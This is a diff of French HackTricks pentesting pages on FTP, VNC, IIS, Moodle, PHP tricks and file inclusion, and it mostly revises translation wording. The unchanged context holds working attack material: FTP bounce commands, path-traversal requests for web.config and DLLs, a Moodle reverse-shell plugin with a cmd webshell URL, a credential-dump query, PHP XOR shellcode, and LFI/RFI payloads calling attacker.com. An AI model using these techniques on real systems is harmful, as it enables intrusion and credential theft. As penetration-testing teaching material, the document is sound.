+Dans **Active FTP**, le **client** FTP initie d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP – port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP initie alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.

-Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors le FTP actif peut poser problème. Une solution envisageable à cela est le FTP Passif.
+Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors Active FTP peut poser problème. Une solution envisageable à cela est Passive FTP.

-Dans **FTP Passif**, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet une **commande passv**. Le serveur envoie alors au client l'un de ses numéros de port M. Et le **client** **initie** la **connexion** de données depuis **son port P vers le port M** du serveur FTP.
+Dans **Passive FTP**, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet une **commande passv**. Le serveur envoie alors au client l'un de ses numéros de port M. Et le **client** **initie** la **connexion** de données depuis **son port P vers le port M** du serveur FTP.

 Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)

@ -105,7 +105,7 @@ Ici, vous pouvez trouver une belle liste avec des identifiants FTP par défaut :

 ### Automatisé

-La connexion anonyme et les vérifications de rebond FTP sont effectuées par défaut par nmap avec l'option **-sC** ou :
+La connexion Anon et les vérifications de rebond FTP sont effectuées par défaut par nmap avec l'option **-sC** ou :
 ```bash
 nmap --script ftp-* -p 21 <ip>
 ```
@ -134,10 +134,10 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
 - **`PORT 127,0,0,1,0,80`** Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5ème caractère comme "0" et le 6ème comme le port en décimal ou utiliser le 5ème et 6ème pour exprimer le port en hex_).
 - **`EPRT |2|127.0.0.1|80|`** Cela indiquera au serveur FTP d'établir une connexion TCP (_indiquée par "2"_) avec l'IP 127.0.0.1 sur le port 80. Cette commande **supporte IPv6**.
 - **`LIST`** Cela enverra la liste des fichiers dans le dossier actuel
- **`LIST -R`** Liste récursive (si autorisé par le serveur)
+- **`LIST -R`** Lister récursivement (si autorisé par le serveur)
 - **`APPE /path/something.txt`** Cela indiquera au FTP de stocker les données reçues d'une connexion **passive** ou d'une connexion **PORT/EPRT** dans un fichier. Si le nom de fichier existe, il ajoutera les données.
 - **`STOR /path/something.txt`** Comme `APPE` mais cela écrasera les fichiers
- **`STOU /path/something.txt`** Comme `APPE`, mais si le fichier existe, il ne fera rien.
+- **`STOU /path/something.txt`** Comme `APPE`, mais si le fichier existe, cela ne fera rien.
 - **`RETR /path/to/file`** Une connexion passive ou une connexion port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
 - **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il devrait commencer au 6ème octet.
 - **`TYPE i`** Définir le transfert en binaire
@ -164,14 +164,14 @@ Il est très probable que cela **provoque une erreur comme** _**Socket not writa

 - Si vous envoyez une requête HTTP, **mettez la même requête l'une après l'autre** jusqu'à **\~0.5MB** au moins. Comme ceci :

-{% file src="../../images/posts.txt" %}
+{{#file}}
 posts.txt
-{% endfile %}
+{{#endfile}}

 - Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
 - Juste **remplir la requête avec beaucoup de caractères nuls ou autres** (divisés sur des lignes ou non)

-Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
+Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un serveur FTP différent.](ftp-bounce-download-2oftp-file.md)

 ## Vulnérabilité du serveur Filezilla

@ -186,7 +186,7 @@ vsftpd.conf
 ```
 ### Post-Exploitation

-La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver quelques paramètres dangereux :
+La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver certains paramètres dangereux :

 - `anonymous_enable=YES`
 - `anon_upload_enable=YES`
--- a/src/network-services-pentesting/pentesting-vnc.md
+++ b/src/network-services-pentesting/pentesting-vnc.md
@ -2,7 +2,6 @@

 {{#include ../banners/hacktricks-training.md}}

-
 ## Informations de base

 **Virtual Network Computing (VNC)** est un système de partage de bureau graphique robuste qui utilise le protocole **Remote Frame Buffer (RFB)** pour permettre le contrôle à distance et la collaboration avec un autre ordinateur. Avec VNC, les utilisateurs peuvent interagir sans effort avec un ordinateur distant en transmettant des événements de clavier et de souris dans les deux sens. Cela permet un accès en temps réel et facilite l'assistance ou la collaboration à distance efficace sur un réseau.
@ -34,13 +33,14 @@ vncpwd <vnc password file>
 ```
 Vous pouvez le faire parce que le mot de passe utilisé dans 3des pour chiffrer les mots de passe VNC en texte clair a été inversé il y a des années.\
 Pour **Windows**, vous pouvez également utiliser cet outil : [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
-Je sauvegarde également l'outil ici pour un accès facile :
+Je sauvegarde également l'outil ici pour plus de commodité :

-{% file src="../images/vncpwd.zip" %}
+{{#file}}
+vncpwd.zip
+{{#endfile}}

 ## Shodan

 - `port:5900 RFB`

-
 {{#include ../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
+++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
@ -37,7 +37,9 @@ Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](

 Téléchargez la liste que j'ai créée :

-{% file src="../../images/iisfinal.txt" %}
+{{#file}}
+iisfinal.txt
+{{#endfile}}

 Elle a été créée en fusionnant le contenu des listes suivantes :

@ -54,14 +56,14 @@ Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déj

 ### Fuite de code source

-Vérifiez le rapport complet ici : [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
+Consultez l'intégralité de l'article ici : [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)

 > [!NOTE]
 > En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
 > À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
 > De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\\

-Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML **"assemblyIdentity"**.
+Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie via des balises XML **"assemblyIdentity"**.

 ### **Exploration des fichiers binaires**

@ -70,7 +72,7 @@ Un exemple d'accès au fichier **web.config** est montré ci-dessous :
 GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Cette requête révèle divers paramètres et dépendances, tels que :
+Cette demande révèle divers paramètres et dépendances, tels que :

 - **EntityFramework** version
 - **AppSettings** pour les pages web, la validation des clients et JavaScript
@ -86,14 +88,14 @@ Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/c

 ### **Espaces de Noms et Web.Config**

-Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une requête pour télécharger un autre **web.config** :
+Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre **web.config** :
 ```markup
 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
 ### **Téléchargement de DLLs**

-La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "**WebApplication1**" dans le répertoire /bin. Suite à cela, une demande de téléchargement de **WebApplication1.dll** est affichée :
+La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "**WebApplication1**" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de **WebApplication1.dll** est affichée :
 ```markup
 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
 Host: example-mvc-application.minded
@ -104,7 +106,7 @@ Dans un scénario où une DLL importe un espace de noms appelé **WebApplication

 ### Fichiers courants

-Depuis [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
+From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
 ```
 C:\Apache\conf\httpd.conf
 C:\Apache\logs\access.log
@ -185,16 +187,16 @@ C:\xampp\tomcat\conf\server.xml

 Si vous voyez une erreur comme celle-ci :

-![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
+![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)

 Cela signifie que le serveur **n'a pas reçu le bon nom de domaine** dans l'en-tête Host.\
-Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'est pas là, vous devrez peut-être **forcer les VHosts** jusqu'à ce que vous trouviez le bon.
+Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être **brute forcer les VHosts** jusqu'à ce que vous trouviez le bon.

 ## Anciennes vulnérabilités IIS à rechercher

-### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts
+### Vulnérabilité/Caractéristique du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts

-Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette **technique**.\
+Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette **technique**.\
 La principale limitation de cette technique si le serveur est vulnérable est qu'elle **ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.

 Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) pour tester cette vulnérabilité : `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -229,10 +231,10 @@ Cette information inclut les IP des clients distants, les ID de session, tous le

 ASPXAUTH utilise les informations suivantes :

- **`validationKey`** (chaîne) : clé hexadécimale à utiliser pour la validation de signature.
+- **`validationKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour la validation de signature.
 - **`decryptionMethod`** (chaîne) : (par défaut “AES”).
- **`decryptionIV`** (chaîne) : vecteur d'initialisation hexadécimal (par défaut un vecteur de zéros).
- **`decryptionKey`** (chaîne) : clé hexadécimale à utiliser pour le déchiffrement.
+- **`decryptionIV`** (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
+- **`decryptionKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.

 Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'email de l'utilisateur**. Par conséquent, si vous pouvez trouver un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être **utiliser le cookie du deuxième serveur dans le premier** et usurper l'utilisateur.\
 Cette attaque a fonctionné dans ce [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ b/src/network-services-pentesting/pentesting-web/moodle.md
@ -2,7 +2,6 @@

 {{#include ../../banners/hacktricks-training.md}}

-
 ## Scans Automatiques

 ### droopescan
@ -63,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
 ```
 ### CVEs

-J'ai trouvé que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** pour eux dans [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
+J'ai constaté que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** cela sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)

 ## **RCE**

@ -75,11 +74,13 @@ Si vous êtes manager, vous devrez peut-être encore **activer cette option**. V

 Ensuite, vous pouvez **installer le plugin suivant** qui contient le classique pentest-monkey php r**ev shell** (_avant de le télécharger, vous devez le décompresser, changer l'IP et le port du revshell et le compresser à nouveau_)

-{% file src="../../images/moodle-rce-plugin.zip" %}
+{{#file}}
+moodle-rce-plugin.zip
+{{#endfile}}

 Ou vous pourriez utiliser le plugin de [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) pour obtenir un shell PHP régulier avec le paramètre "cmd".

-Pour accéder au lancement du plugin malveillant, vous devez accéder à :
+Pour accéder au plugin malveillant, vous devez accéder à :
 ```bash
 http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
 ```
@ -89,7 +90,7 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
 ```bash
 find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
 ```
-### Extraire les identifiants de la base de données
+### Dump des identifiants de la base de données
 ```bash
 /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
 ```
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@ -2,10 +2,9 @@

 {{#include ../../../banners/hacktricks-training.md}}

-
 ## Emplacement commun des cookies :

-Ceci est également valable pour les cookies de phpMyAdmin.
+Ceci est également valable pour les cookies phpMyAdmin.

 Cookies :
 ```
@ -29,13 +28,15 @@ Tables de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php

 ![](<../../../images/image (567).png>)

-{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
+{{#file}}
+EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
+{{#endfile}}

 - `"string" == 0 -> True` Une chaîne qui ne commence pas par un nombre est égale à un nombre
 - `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
 - `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
 - `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0

 Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -61,9 +62,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
 ```
 La même erreur se produit avec `strcasecmp()`

-### Conversion stricte de types
+### Juggling de types strict

-Même si `===` est **utilisé**, il pourrait y avoir des erreurs qui rendent la **comparaison vulnérable** à la **conversion de types**. Par exemple, si la comparaison **convertit les données en un type d'objet différent avant de comparer** :
+Même si `===` est **utilisé**, il pourrait y avoir des erreurs qui rendent la **comparaison vulnérable** au **juggling de types**. Par exemple, si la comparaison **convertit les données en un type d'objet différent avant de comparer** :
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
@ -111,7 +112,7 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h

 En résumé, le problème se produit parce que les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile.

-[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\
+[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où ce problème est discuté plus en profondeur. Notre tâche était maintenant claire :\
 **Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> flag :)**.

 Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le stipule la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut à 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ 
@ -152,7 +153,7 @@ Check:

 ## More tricks

- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code.
+- **register_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou leur comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code.
 - Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\
 De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
 - Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
@ -169,19 +170,19 @@ False
 $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
 True
 ```
-### HTTP headers bypass abusing PHP errors
+### Contournement des en-têtes HTTP en abusant des erreurs PHP

-#### Causing error after setting headers
+#### Provoquer une erreur après avoir défini des en-têtes

-From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir les en-têtes dans la réponse.
+Depuis [**ce fil Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19), vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir d'en-têtes dans la réponse.

-Permettant de contourner par exemple les en-têtes CSP définis dans des codes comme :
+Cela permet de contourner, par exemple, les en-têtes CSP qui sont définis dans des codes comme :
 ```php
 <?php
 header("Content-Security-Policy: default-src 'none';");
 if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
-#### Remplir un corps avant de définir des en-têtes
+#### Remplir un corps avant de définir les en-têtes

 Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP imprime un **contenu suffisamment long** pour que, lorsqu'il essaie d'**ajouter les en-têtes** à la réponse, le serveur génère une erreur.\
 Dans le scénario suivant, l'**attaquant a fait en sorte que le serveur génère de grosses erreurs**, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de **modifier les informations d'en-tête, il n'a pas pu** (donc par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
@ -202,7 +203,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**

-[Consultez ceci pour d'autres fonctions PHP utiles](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
+[Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/index.html)

 ### **RCE via** **preg_replace()**
 ```php
@ -272,9 +273,9 @@ Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/w

 ### RCE via Env Variables

-Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que cela puisse être contourné avec plus de recherche), vous pourriez abuser de ce comportement pour obtenir **RCE**.
+Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que avec plus de recherche cela puisse peut-être être contourné), vous pourriez abuser de ce comportement pour obtenir **RCE**.

- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas, cela pourrait ne pas fonctionner).
+- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela puisse ne pas fonctionner).
 - **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour pointer PHP vers celui-ci. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code.
 1. Téléchargez un fichier PHP contenant notre shellcode
 2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1
@ -308,7 +309,7 @@ phpinfo();
 ?>

 ```
-## Contournement de la sanitisation PHP & Brain Fuck
+## Contournement de la sanitation PHP & Brain Fuck

 [**Dans cet article**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP Brain Fuck avec très peu de caractères autorisés.\
 De plus, une manière intéressante d'exécuter des fonctions qui leur a permis de contourner plusieurs vérifications est également proposée :
@ -349,7 +350,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusant de $\_GET\["a"]\($\_GET\["b"])
+## RCE abusant de $\_GET\["a"]\($\_GET\["b")

 Si sur une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir RCE, consultez la page suivante pour apprendre comment :

@ -372,9 +373,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
 $___=$__; #Could be not needed inside eval
 $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
 ```
-### XOR easy shell code
+### Code shell XOR facile

-Selon [**cet article** ](https://mgp25.com/ctf/Web-challenge/)il est possible de générer un shellcode facile de cette manière :
+Selon [**ce rapport** ](https://mgp25.com/ctf/Web-challenge/)il est possible de générer un code shell facile de cette manière :
 ```php
 $_="`{{{"^"?<>/"; // $_ = '_GET';
 ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -69,7 +69,7 @@ Ceci est **résolu depuis PHP 5.4**

 ### **Encodage**

-Vous pouvez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
+Vous pourriez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -82,22 +82,22 @@ Peut-être que le back-end vérifie le chemin du dossier :
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Explorer les Répertoires du Système de Fichiers sur un Serveur
+### Explorer les répertoires du système de fichiers sur un serveur

-Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
+Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

-1. **Déterminer la Profondeur du Répertoire :** Établissez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
+1. **Déterminer la profondeur du répertoire :** Établissez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders :** Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
+2. **Explorer les Dossiers :** Ajoutez le nom du dossier suspect (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
 - **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
 - **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
-4. **Exploration récursive :** Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichiers Locaux (LFI).
+4. **Exploration récursive :** Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'inclusion de fichiers locaux (LFI).

 Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :
 ```bash
@ -148,7 +148,7 @@ En php, cela est désactivé par défaut car **`allow_url_include`** est **Désa
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
